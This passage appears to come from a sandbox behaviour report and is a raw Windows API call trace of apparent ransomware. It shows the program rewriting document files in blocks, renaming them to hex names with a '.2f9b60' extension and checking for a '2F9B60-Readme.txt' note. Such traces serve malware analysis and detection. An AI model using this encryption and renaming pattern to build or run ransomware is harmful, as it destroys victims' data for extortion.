lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x2200f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0092.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0092.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0092.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9f3f0 [0092.627] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.627] WriteFile (in: hFile=0xd88, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2200f850, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2200f850*=0x11c, lpOverlapped=0x0) returned 1 [0092.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dc70 [0092.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1a0 [0092.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b1a0) returned 1 [0092.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9ebb0 [0092.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1a0 [0092.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0092.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b080) returned 1 [0092.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dc70) returned 1 [0092.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd9d030 [0092.629] sprintf (in: _Dest=0x1cd9d030, _Format="%c%c" | out: _Dest="4a") returned 2 [0092.629] sprintf (in: _Dest=0x1cd9d032, _Format="%c%c" | out: _Dest="c6") returned 2 [0092.629] sprintf (in: _Dest=0x1cd9d034, _Format="%c%c" | out: _Dest="44") returned 2 [0092.629] sprintf (in: _Dest=0x1cd9d036, _Format="%c%c" | out: _Dest="5a") returned 2 [0092.629] sprintf (in: _Dest=0x1cd9d038, _Format="%c%c" | out: _Dest="99") returned 2 [0092.629] sprintf (in: _Dest=0x1cd9d03a, _Format="%c%c" | out: _Dest="34") returned 2 [0092.629] sprintf (in: _Dest=0x1cd9d03c, _Format="%c%c" | out: _Dest="5e") returned 2 [0092.629] sprintf (in: _Dest=0x1cd9d03e, _Format="%c%c" | out: _Dest="e2") returned 2 [0092.629] sprintf (in: _Dest=0x1cd9d040, _Format="%c%c" | out: _Dest="36") returned 2 [0092.629] sprintf (in: _Dest=0x1cd9d042, _Format="%c%c" | out: _Dest="be") returned 2 [0092.629] sprintf (in: _Dest=0x1cd9d044, _Format="%c%c" | out: _Dest="54") returned 2 [0092.629] sprintf (in: _Dest=0x1cd9d046, _Format="%c%c" | out: _Dest="bd") returned 2 [0092.629] sprintf (in: _Dest=0x1cd9d048, _Format="%c%c" | out: _Dest="2e") returned 2 [0092.629] sprintf (in: _Dest=0x1cd9d04a, _Format="%c%c" | out: _Dest="81") returned 2 [0092.629] sprintf (in: _Dest=0x1cd9d04c, _Format="%c%c" | out: _Dest="3a") returned 2 [0092.629] sprintf (in: _Dest=0x1cd9d04e, _Format="%c%c" | out: _Dest="33") returned 2 [0092.629] sprintf (in: _Dest=0x1cd9d050, _Format="%c%c" | out: _Dest="39") returned 2 [0092.629] sprintf (in: _Dest=0x1cd9d052, _Format="%c%c" | out: _Dest="5d") returned 2 [0092.629] sprintf (in: _Dest=0x1cd9d054, _Format="%c%c" | out: _Dest="6b") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d056, _Format="%c%c" | out: _Dest="b4") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d058, _Format="%c%c" | out: _Dest="e7") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d05a, _Format="%c%c" | out: _Dest="54") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d05c, _Format="%c%c" | out: _Dest="29") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d05e, _Format="%c%c" | out: _Dest="7c") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d060, _Format="%c%c" | out: _Dest="e9") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d062, _Format="%c%c" | out: _Dest="45") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d064, _Format="%c%c" | out: _Dest="e4") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d066, _Format="%c%c" | out: _Dest="a1") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d068, _Format="%c%c" | out: _Dest="48") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d06a, _Format="%c%c" | out: _Dest="ce") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d06c, _Format="%c%c" | out: _Dest="b5") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d06e, _Format="%c%c" | out: _Dest="d2") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d070, _Format="%c%c" | out: _Dest="cd") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d072, _Format="%c%c" | out: _Dest="db") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d074, _Format="%c%c" | out: _Dest="23") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d076, _Format="%c%c" | out: _Dest="99") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d078, _Format="%c%c" | out: _Dest="ca") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d07a, _Format="%c%c" | out: _Dest="86") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d07c, _Format="%c%c" | out: _Dest="fb") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d07e, _Format="%c%c" | out: _Dest="83") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d080, _Format="%c%c" | out: _Dest="8f") returned 2 [0092.630] sprintf (in: _Dest=0x1cd9d082, _Format="%c%c" | out: _Dest="64") returned 2 [0092.630] RtlInitAnsiString (in: DestinationString=0x2200f8c8, SourceString="4ac6445a99345ee236be54bd2e813a33395d6bb4e754297ce945e4a148ceb5d2cddb2399ca86fb838f64" | out: DestinationString="4ac6445a99345ee236be54bd2e813a33395d6bb4e754297ce945e4a148ceb5d2cddb2399ca86fb838f64") [0092.630] RtlAnsiStringToUnicodeString (in: DestinationString=0x2200f898, SourceString="4ac6445a99345ee236be54bd2e813a33395d6bb4e754297ce945e4a148ceb5d2cddb2399ca86fb838f64", AllocateDestinationString=1 | out: DestinationString="4ac6445a99345ee236be54bd2e813a33395d6bb4e754297ce945e4a148ceb5d2cddb2399ca86fb838f64") returned 0x0 [0092.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107a80 [0092.630] wcscat (in: _Dest=0x1b7ad2a0, _Source="4ac6445a99345ee236be5" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4ac6445a99345ee236be5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4ac6445a99345ee236be5" [0092.630] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4ac6445a99345ee236be5.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4ac6445a99345ee236be5.2f9b60" [0092.631] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4ac6445a99345ee236be5.2f9b60", NtPathName=0x2200f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4ac6445a99345ee236be5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1ce108f0 [0092.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce108f0) returned 1 [0092.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.672] NtQueryInformationFile (in: FileHandle=0xd88, IoStatusBlock=0x2200f8d8, FileInformation=0x2200f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2200f8d8, FileInformation=0x2200f8e8) returned 0x0 [0092.672] NtSetInformationFile (FileHandle=0xd88, IoStatusBlock=0x2200f8d8, FileInformation=0x2200f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0092.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 [0092.674] FlushFileBuffers (hFile=0xd88) returned 1 [0092.684] CloseHandle (hObject=0xd88) returned 1 [0092.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b79dc70 [0092.685] wcscpy (in: _Dest=0x1b79dc70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.685] wcscat (in: _Dest=0x1b79dc70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.685] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dc70) returned 1 [0092.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784010) returned 1 Thread: id = 504 os_tid = 0xcb4 [0092.632] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hMh KuECrgr_M.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hmh kuecrgr_m.odt")) returned 0x20 [0092.632] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hMh KuECrgr_M.odt", dwFileAttributes=0x20) returned 1 [0092.653] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\hMh KuECrgr_M.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hmh kuecrgr_m.odt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0092.653] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x2231fd60 | out: lpFileSize=0x2231fd60*=97761) returned 1 [0092.653] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x17ddd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.653] ReadFile (in: hFile=0xcfc, lpBuffer=0x2231fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2231fd28, lpOverlapped=0x0 | out: lpBuffer=0x2231fce0*, lpNumberOfBytesRead=0x2231fd28*=0x4, lpOverlapped=0x0) returned 1 [0092.654] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a7e0 [0092.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad50 [0092.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1a0 [0092.655] NtQuerySystemTime (in: CurrentTime=0x2231fc20 | out: CurrentTime=0x2231fc20*=132462176984902000) returned 0x0 [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x5e91bdb9 [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x62b8ada8 [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x3e771b14 [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x6f2c7888 [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x1b1de861 [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x19e42880 [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x729de767 [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x1ba01853 [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x11a7cd89 [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x24cc25a0 [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x26aa6b44 [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x200e284d [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x38222236 [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x71b035af [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x5187df73 [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x2e4aa0c7 [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x3462394d [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x46c4bf67 [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x7d41f29 [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x22564c91 [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0xe541324 [0092.655] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x3e771b14 [0092.656] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x5333b642 [0092.656] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x6a1f5f21 [0092.656] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x74a815ec [0092.656] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x573d9bdb [0092.656] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x7b0181e9 [0092.656] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x28c623e8 [0092.656] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x34489135 [0092.656] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x6eac63b5 [0092.656] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x73546d64 [0092.656] RtlRandomEx (in: Seed=0x2231fc10 | out: Seed=0x2231fc10) returned 0x42b6cc51 [0092.666] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.666] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2231fc80, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2231fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0092.666] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0092.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a7e0 [0092.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a7e0) returned 1 [0092.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a7e0 [0092.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1a0 [0092.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b1a0) returned 1 [0092.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0092.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.668] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2231fc80, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2231fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0092.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.675] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.675] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2231fc80, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2231fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0092.675] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dc70 [0092.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a810 [0092.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a810) returned 1 [0092.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a810 [0092.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2c0 [0092.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b2c0) returned 1 [0092.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dc70) returned 1 [0092.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.676] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2231fc80, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2231fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0092.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.686] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x141e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.686] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2231fc80, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x2231fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0092.686] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x141e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dc70 [0092.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad20 [0092.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ad20) returned 1 [0092.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0092.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad20 [0092.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a600 [0092.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a600) returned 1 [0092.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dc70) returned 1 [0092.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.687] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2231fc80, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x2231fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0092.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0092.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e410 [0092.688] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.689] WriteFile (in: hFile=0xcfc, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x2231fd30, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x2231fd30*=0x154, lpOverlapped=0x0) returned 1 [0092.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0092.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dc70 [0092.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a810 [0092.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a810) returned 1 [0092.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82a810 [0092.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad20 [0092.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a600 [0092.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a600) returned 1 [0092.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dc70) returned 1 [0092.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0092.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1b82bc20 [0092.692] sprintf (in: _Dest=0x1b82bc20, _Format="%c%c" | out: _Dest="b7") returned 2 [0092.692] sprintf (in: _Dest=0x1b82bc22, _Format="%c%c" | out: _Dest="14") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc24, _Format="%c%c" | out: _Dest="9b") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc26, _Format="%c%c" | out: _Dest="6d") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc28, _Format="%c%c" | out: _Dest="e6") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc2a, _Format="%c%c" | out: _Dest="52") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc2c, _Format="%c%c" | out: _Dest="67") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc2e, _Format="%c%c" | out: _Dest="06") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc30, _Format="%c%c" | out: _Dest="58") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc32, _Format="%c%c" | out: _Dest="5d") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc34, _Format="%c%c" | out: _Dest="56") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc36, _Format="%c%c" | out: _Dest="88") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc38, _Format="%c%c" | out: _Dest="82") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc3a, _Format="%c%c" | out: _Dest="50") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc3c, _Format="%c%c" | out: _Dest="b9") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc3e, _Format="%c%c" | out: _Dest="56") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc40, _Format="%c%c" | out: _Dest="e8") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc42, _Format="%c%c" | out: _Dest="c6") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc44, _Format="%c%c" | out: _Dest="09") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc46, _Format="%c%c" | out: _Dest="8c") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc48, _Format="%c%c" | out: _Dest="4d") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc4a, _Format="%c%c" | out: _Dest="fa") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc4c, _Format="%c%c" | out: _Dest="75") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc4e, _Format="%c%c" | out: _Dest="60") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc50, _Format="%c%c" | out: _Dest="5d") returned 2 [0092.693] sprintf (in: _Dest=0x1b82bc52, _Format="%c%c" | out: _Dest="58") returned 2 [0092.694] sprintf (in: _Dest=0x1b82bc54, _Format="%c%c" | out: _Dest="20") returned 2 [0092.694] sprintf (in: _Dest=0x1b82bc56, _Format="%c%c" | out: _Dest="64") returned 2 [0092.694] sprintf (in: _Dest=0x1b82bc58, _Format="%c%c" | out: _Dest="d4") returned 2 [0092.694] sprintf (in: _Dest=0x1b82bc5a, _Format="%c%c" | out: _Dest="f9") returned 2 [0092.694] sprintf (in: _Dest=0x1b82bc5c, _Format="%c%c" | out: _Dest="3c") returned 2 [0092.694] sprintf (in: _Dest=0x1b82bc5e, _Format="%c%c" | out: _Dest="bd") returned 2 [0092.694] sprintf (in: _Dest=0x1b82bc60, _Format="%c%c" | out: _Dest="2c") returned 2 [0092.694] sprintf (in: _Dest=0x1b82bc62, _Format="%c%c" | out: _Dest="75") returned 2 [0092.694] RtlInitAnsiString (in: DestinationString=0x2231fda8, SourceString="b7149b6de6526706585d56888250b956e8c6098c4dfa75605d582064d4f93cbd2c75" | out: DestinationString="b7149b6de6526706585d56888250b956e8c6098c4dfa75605d582064d4f93cbd2c75") [0092.694] RtlAnsiStringToUnicodeString (in: DestinationString=0x2231fd78, SourceString="b7149b6de6526706585d56888250b956e8c6098c4dfa75605d582064d4f93cbd2c75", AllocateDestinationString=1 | out: DestinationString="b7149b6de6526706585d56888250b956e8c6098c4dfa75605d582064d4f93cbd2c75") returned 0x0 [0092.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ad5c0 [0092.694] wcscat (in: _Dest=0x1b784010, _Source="b7149b6de65267065" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b7149b6de65267065") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b7149b6de65267065" [0092.694] wcscat (in: _Dest=0x1b784010, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b7149b6de65267065.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b7149b6de65267065.2f9b60" [0092.694] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\b7149b6de65267065.2f9b60", 